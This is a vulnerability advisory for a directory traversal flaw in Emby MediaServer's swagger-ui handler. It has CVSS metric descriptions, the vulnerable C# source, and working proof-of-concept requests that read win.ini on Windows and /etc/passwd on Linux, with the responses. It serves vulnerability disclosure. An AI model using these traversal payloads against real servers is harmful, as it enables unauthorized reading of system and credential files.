The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Emby MediaServer 3.2.5 Directory Traversal File Disclosure VulnerabilityEmby MediaServer 3.2.5 Directory Traversal File Disclosure Vulnerability
Vendor: Emby LLC
Product web page: https://www.emby.media
Affected version: 3.2.5
3.1.5
3.1.2
3.1.1
3.1.0
3.0.0
Summary: Emby (formerly Media Browser) is a media server designed to organize,
play, and stream audio and video to a variety of devices. Emby is open-source,
and uses a client-server model. Two comparable media servers are Plex and Windows
Media Center.
Desc: The vulnerability was confirmed on tested platforms depending on the version.
Version 3.1.0 is affecting Linux, Windows and Mac platforms. The 3.2.5 only affects
Windows release. Input passed via the 'swagger-ui' object in SwaggerService.cs is not
properly verified before being used to load resources. This can be exploited to disclose
the contents of arbitrary files via directory traversal attacks.
================================================================================
/Emby.Server.Implementations/HttpServer/SwaggerService.cs:
----------------------------------------------------------
using MediaBrowser.Controller;
using MediaBrowser.Controller.Net;
using System.IO;
using MediaBrowser.Model.IO;
using MediaBrowser.Model.Services;
namespace Emby.Server.Implementations.HttpServer
{
public class SwaggerService : IService, IRequiresRequest
{
private readonly IServerApplicationPaths _appPaths;
private readonly IFileSystem _fileSystem;
public SwaggerService(IServerApplicationPaths appPaths, IFileSystem fileSystem, IHttpResultFactory resultFactory)
{
_appPaths = appPaths;
_fileSystem = fileSystem;
_resultFactory = resultFactory;
}
/// <summary>
/// Gets the specified request.
/// </summary>
/// <param name="request">The request.</param>
/// <returns>System.Object.</returns>
public object Get(GetSwaggerResource request)
{
var swaggerDirectory = Path.Combine(_appPaths.ApplicationResourcesPath, "swagger-ui");
var requestedFile = Path.Combine(swaggerDirectory, request.ResourceName.Replace('/', _fileSystem.DirectorySeparatorChar));
return _resultFactory.GetStaticFileResult(Request, requestedFile).Result;
}
/// <summary>
/// Gets or sets the result factory.
/// </summary>
/// <value>The result factory.</value>
private readonly IHttpResultFactory _resultFactory;
/// <summary>
/// Gets or sets the request context.
/// </summary>
/// <value>The request context.</value>
public IRequest Request { get; set; }
}
}
================================================================================
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Ubuntu Linux 14.04.5
MacOS Sierra 10.12.3
SQLite3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5403
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2017-5403.php
SSD Advisory: https://blogs.securiteam.com/index.php/archives/3098
22.12.2016
--
GET /emby/swagger-ui/..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1
HTTP/1.1 200 OK
X-UA-Compatible: IE=Edge
Access-Control-Allow-Headers: Content-Type, Authorization, Range, X-MediaBrowser-Token, X-Emby-Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
ETag: "07bec80f76d20d26dd300a855219d321"
Cache-Control: public
Server: Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50
Content-Type: application/octet-stream
Date: Thu, 22 Dec 2016 10:43:53 GMT
Content-Length: 403
Connection: close
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
==========================
On Linux:
http://127.0.0.1/%2femby%2fswagger-ui%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
...
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